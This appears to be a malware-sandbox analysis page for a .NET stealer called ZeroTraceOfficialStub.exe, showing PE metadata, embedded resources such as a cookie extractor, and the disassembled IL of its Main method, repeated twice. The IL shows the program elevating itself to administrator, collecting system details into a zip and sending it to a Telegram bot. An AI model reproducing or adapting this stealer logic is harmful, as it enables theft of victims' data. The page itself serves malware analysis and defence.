Suspicious
Suspect

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Low
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
ZeroTraceOfficialStub.Properties.Resources.resources
cookiesextract
ZeroTraceOfficialStub.Resources.ip.txt
ZeroTraceOfficialStub.Resources.port.txt
ZeroTraceOfficialStub.Resources.uac.txt
Name Value
Info
PE Detect: PeReader OK (file layout)
Info
PDB Path: ?
Module Name
ZeroTraceOfficialStub.exe
Full Name
ZeroTraceOfficialStub.exe
EntryPoint
System.Void ZeroTrace_Client.Program::Main(System.String[])
Scope Name
ZeroTraceOfficialStub.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
ZeroTraceOfficialStub
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
971
Main Method
System.Void ZeroTrace_Client.Program::Main(System.String[])
Main IL Instruction Count
210
Main IL
call System.Void ZeroTrace_Client.Program::LoadServerSettings()
ldstr Server IP: 
ldsfld System.String ZeroTrace_Client.Program::botToken
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldstr Server Port: 
ldsfld System.String ZeroTrace_Client.Program::chatId
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldstr uac: 
ldsfld System.String ZeroTrace_Client.Program::uac
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldsfld System.String ZeroTrace_Client.Program::uac
ldstr 1
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_005F: ldsfld System.String ZeroTrace_Client.Program::uac
call System.Boolean ZeroTrace_Client.Program::IsRunningAsAdministrator()
brtrue.s IL_007A: nop
call System.Void ZeroTrace_Client.Program::RestartAsAdministrator()
ret <null>
ldsfld System.String ZeroTrace_Client.Program::uac
ldstr 0
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_007A: nop
ldstr uac is disabled (value is 0)
call System.Void System.Console::WriteLine(System.String)
nop <null>
call System.String ZeroTrace_Client.Program::GetRealCountryInfo()
stloc.0 <null>
call System.String ZeroTrace_Client.Program::GetOSInfo()
stloc.1 <null>
call System.String ZeroTrace_Client.Program::GetGPUInfo()
stloc.2 <null>
call System.String ZeroTrace_Client.Program::GetCPUInfo()
stloc.3 <null>
call System.Boolean ZeroTrace_Client.Program::CheckFeature1()
stloc.s V_4
call System.Boolean ZeroTrace_Client.Program::CheckFeature2()
stloc.s V_5
call System.Boolean ZeroTrace_Client.Program::CheckFeature3()
stloc.s V_6
ldstr Country: 
ldloc.0 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldstr OS: 
ldloc.1 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldstr GPU: 
ldloc.2 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldstr CPU: 
ldloc.3 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.s 13
newarr System.String
dup <null>
ldc.i4.0 <null>
ldloc.0 <null>
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldloc.1 <null>
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
ldloc.2 <null>
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.6 <null>
ldloc.3 <null>
stelem.ref <null>
dup <null>
ldc.i4.7 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.8 <null>
ldloc.s V_4
brtrue.s IL_012C: ldstr "1"
ldstr 0
br.s IL_0131: stelem.ref
ldstr 1
stelem.ref <null>
dup <null>
ldc.i4.s 9
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.s 10
ldloc.s V_5
brtrue.s IL_0149: ldstr "1"
ldstr 0
br.s IL_014E: stelem.ref
ldstr 1
stelem.ref <null>
dup <null>
ldc.i4.s 11
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.s 12
ldloc.s V_6
brtrue.s IL_0166: ldstr "1"
ldstr 0
br.s IL_016B: stelem.ref
ldstr 1
stelem.ref <null>
call System.String System.String::Concat(System.String[])
pop <null>
ldstr Creating system data zip file...
call System.Void System.Console::WriteLine(System.String)
ldnull <null>
stloc.s V_7
call System.String ZeroTrace_Client.Program::CreateSystemDataZip()
stloc.s V_7
ldloc.s V_7
brfalse.s IL_01B0: ldstr "Failed to create zip file or file does not exist."
ldloc.s V_7
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_01B0: ldstr "Failed to create zip file or file does not exist."
ldstr Zip file created successfully: 
ldloc.s V_7
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
br.s IL_01BA: leave.s IL_01D6
ldstr Failed to create zip file or file does not exist.
call System.Void System.Console::WriteLine(System.String)
leave.s IL_01D6: ldsfld System.String ZeroTrace_Client.Program::botToken
stloc.s V_8
ldstr Error creating zip file: 
ldloc.s V_8
callvirt System.String System.Exception::get_Message()
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
leave.s IL_01D6: ldsfld System.String ZeroTrace_Client.Program::botToken
ldsfld System.String ZeroTrace_Client.Program::botToken
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
brtrue.s IL_0248: ldsfld System.String ZeroTrace_Client.Program::botToken
ldsfld System.String ZeroTrace_Client.Program::chatId
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
brtrue.s IL_0248: ldsfld System.String ZeroTrace_Client.Program::botToken
ldloc.s V_7
brfalse.s IL_0248: ldsfld System.String ZeroTrace_Client.Program::botToken
ldloc.s V_7
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_0248: ldsfld System.String ZeroTrace_Client.Program::botToken
ldstr Sending file to Telegram...
call System.Void System.Console::WriteLine(System.String)
ldsfld System.String ZeroTrace_Client.Program::botToken
ldsfld System.String ZeroTrace_Client.Program::chatId
ldloc.s V_7
call System.Threading.Tasks.Task`1<System.Boolean> ZeroTrace_Client.Program::SendFileToTelegram(System.String,System.String,System.String)
callvirt System.Runtime.CompilerServices.TaskAwaiter`1<System.Boolean> System.Threading.Tasks.Task`1<System.Boolean>::GetAwaiter()
stloc.s V_9
ldloca.s V_9
call System.Boolean System.Runtime.CompilerServices.TaskAwaiter`1<System.Boolean>::GetResult()
brfalse.s IL_023C: ldstr "\nFailed to send file to Telegram."
ldstr 
File sent successfully to Telegram!
call System.Void System.Console::WriteLine(System.String)
ldloc.s V_7
call System.Void System.IO.File::Delete(System.String)
leave.s IL_0276: leave.s IL_0292
pop <null>
leave.s IL_0276: leave.s IL_0292
ldstr 
Failed to send file to Telegram.
call System.Void System.Console::WriteLine(System.String)
br.s IL_0276: leave.s IL_0292
ldsfld System.String ZeroTrace_Client.Program::botToken
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
brtrue.s IL_0260: ldstr "\nCannot send file: Bot token or chat ID is missing!"
ldsfld System.String ZeroTrace_Client.Program::chatId
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
brfalse.s IL_026C: ldstr "\nCannot send file: Failed to create zip file!"
ldstr 
Cannot send file: Bot token or chat ID is missing!
call System.Void System.Console::WriteLine(System.String)
br.s IL_0276: leave.s IL_0292
ldstr 
Cannot send file: Failed to create zip file!
call System.Void System.Console::WriteLine(System.String)
leave.s IL_0292: ldstr "Program will exit in 5 seconds..."
stloc.s V_10
ldstr Error: 
ldloc.s V_10
callvirt System.String System.Exception::get_Message()
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
leave.s IL_0292: ldstr "Program will exit in 5 seconds..."
ldstr Program will exit in 5 seconds...
call System.Void System.Console::WriteLine(System.String)
ldc.i4 5000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ret <null>
Module Name
ZeroTraceOfficialStub.exe
Full Name
ZeroTraceOfficialStub.exe
EntryPoint
System.Void ZeroTrace_Client.Program::Main(System.String[])
Scope Name
ZeroTraceOfficialStub.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
ZeroTraceOfficialStub
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
971
Main Method
System.Void ZeroTrace_Client.Program::Main(System.String[])
Main IL Instruction Count
210
Main IL
call System.Void ZeroTrace_Client.Program::LoadServerSettings()
ldstr Server IP: 
ldsfld System.String ZeroTrace_Client.Program::botToken
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldstr Server Port: 
ldsfld System.String ZeroTrace_Client.Program::chatId
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldstr uac: 
ldsfld System.String ZeroTrace_Client.Program::uac
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldsfld System.String ZeroTrace_Client.Program::uac
ldstr 1
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_005F: ldsfld System.String ZeroTrace_Client.Program::uac
call System.Boolean ZeroTrace_Client.Program::IsRunningAsAdministrator()
brtrue.s IL_007A: nop
call System.Void ZeroTrace_Client.Program::RestartAsAdministrator()
ret <null>
ldsfld System.String ZeroTrace_Client.Program::uac
ldstr 0
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_007A: nop
ldstr uac is disabled (value is 0)
call System.Void System.Console::WriteLine(System.String)
nop <null>
call System.String ZeroTrace_Client.Program::GetRealCountryInfo()
stloc.0 <null>
call System.String ZeroTrace_Client.Program::GetOSInfo()
stloc.1 <null>
call System.String ZeroTrace_Client.Program::GetGPUInfo()
stloc.2 <null>
call System.String ZeroTrace_Client.Program::GetCPUInfo()
stloc.3 <null>
call System.Boolean ZeroTrace_Client.Program::CheckFeature1()
stloc.s V_4
call System.Boolean ZeroTrace_Client.Program::CheckFeature2()
stloc.s V_5
call System.Boolean ZeroTrace_Client.Program::CheckFeature3()
stloc.s V_6
ldstr Country: 
ldloc.0 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldstr OS: 
ldloc.1 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldstr GPU: 
ldloc.2 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldstr CPU: 
ldloc.3 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.s 13
newarr System.String
dup <null>
ldc.i4.0 <null>
ldloc.0 <null>
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldloc.1 <null>
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
ldloc.2 <null>
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.6 <null>
ldloc.3 <null>
stelem.ref <null>
dup <null>
ldc.i4.7 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.8 <null>
ldloc.s V_4
brtrue.s IL_012C: ldstr "1"
ldstr 0
br.s IL_0131: stelem.ref
ldstr 1
stelem.ref <null>
dup <null>
ldc.i4.s 9
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.s 10
ldloc.s V_5
brtrue.s IL_0149: ldstr "1"
ldstr 0
br.s IL_014E: stelem.ref
ldstr 1
stelem.ref <null>
dup <null>
ldc.i4.s 11
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.s 12
ldloc.s V_6
brtrue.s IL_0166: ldstr "1"
ldstr 0
br.s IL_016B: stelem.ref
ldstr 1
stelem.ref <null>
call System.String System.String::Concat(System.String[])
pop <null>
ldstr Creating system data zip file...
call System.Void System.Console::WriteLine(System.String)
ldnull <null>
stloc.s V_7
call System.String ZeroTrace_Client.Program::CreateSystemDataZip()
stloc.s V_7
ldloc.s V_7
brfalse.s IL_01B0: ldstr "Failed to create zip file or file does not exist."
ldloc.s V_7
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_01B0: ldstr "Failed to create zip file or file does not exist."
ldstr Zip file created successfully: 
ldloc.s V_7
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
br.s IL_01BA: leave.s IL_01D6
ldstr Failed to create zip file or file does not exist.
call System.Void System.Console::WriteLine(System.String)
leave.s IL_01D6: ldsfld System.String ZeroTrace_Client.Program::botToken
stloc.s V_8
ldstr Error creating zip file: 
ldloc.s V_8
callvirt System.String System.Exception::get_Message()
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
leave.s IL_01D6: ldsfld System.String ZeroTrace_Client.Program::botToken
ldsfld System.String ZeroTrace_Client.Program::botToken
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
brtrue.s IL_0248: ldsfld System.String ZeroTrace_Client.Program::botToken
ldsfld System.String ZeroTrace_Client.Program::chatId
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
brtrue.s IL_0248: ldsfld System.String ZeroTrace_Client.Program::botToken
ldloc.s V_7
brfalse.s IL_0248: ldsfld System.String ZeroTrace_Client.Program::botToken
ldloc.s V_7
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_0248: ldsfld System.String ZeroTrace_Client.Program::botToken
ldstr Sending file to Telegram...
call System.Void System.Console::WriteLine(System.String)
ldsfld System.String ZeroTrace_Client.Program::botToken
ldsfld System.String ZeroTrace_Client.Program::chatId
ldloc.s V_7
call System.Threading.Tasks.Task`1<System.Boolean> ZeroTrace_Client.Program::SendFileToTelegram(System.String,System.String,System.String)
callvirt System.Runtime.CompilerServices.TaskAwaiter`1<System.Boolean> System.Threading.Tasks.Task`1<System.Boolean>::GetAwaiter()
stloc.s V_9
ldloca.s V_9
call System.Boolean System.Runtime.CompilerServices.TaskAwaiter`1<System.Boolean>::GetResult()
brfalse.s IL_023C: ldstr "\nFailed to send file to Telegram."
ldstr 
File sent successfully to Telegram!
call System.Void System.Console::WriteLine(System.String)
ldloc.s V_7
call System.Void System.IO.File::Delete(System.String)
leave.s IL_0276: leave.s IL_0292
pop <null>
leave.s IL_0276: leave.s IL_0292
ldstr 
Failed to send file to Telegram.
call System.Void System.Console::WriteLine(System.String)
br.s IL_0276: leave.s IL_0292
ldsfld System.String ZeroTrace_Client.Program::botToken
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
brtrue.s IL_0260: ldstr "\nCannot send file: Bot token or chat ID is missing!"
ldsfld System.String ZeroTrace_Client.Program::chatId
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
brfalse.s IL_026C: ldstr "\nCannot send file: Failed to create zip file!"
ldstr 
Cannot send file: Bot token or chat ID is missing!
call System.Void System.Console::WriteLine(System.String)
br.s IL_0276: leave.s IL_0292
ldstr 
Cannot send file: Failed to create zip file!
call System.Void System.Console::WriteLine(System.String)
leave.s IL_0292: ldstr "Program will exit in 5 seconds..."
stloc.s V_10
ldstr Error: 
ldloc.s V_10
callvirt System.String System.Exception::get_Message()
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
leave.s IL_0292: ldstr "Program will exit in 5 seconds..."
ldstr Program will exit in 5 seconds...
call System.Void System.Console::WriteLine(System.String)
ldc.i4 5000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙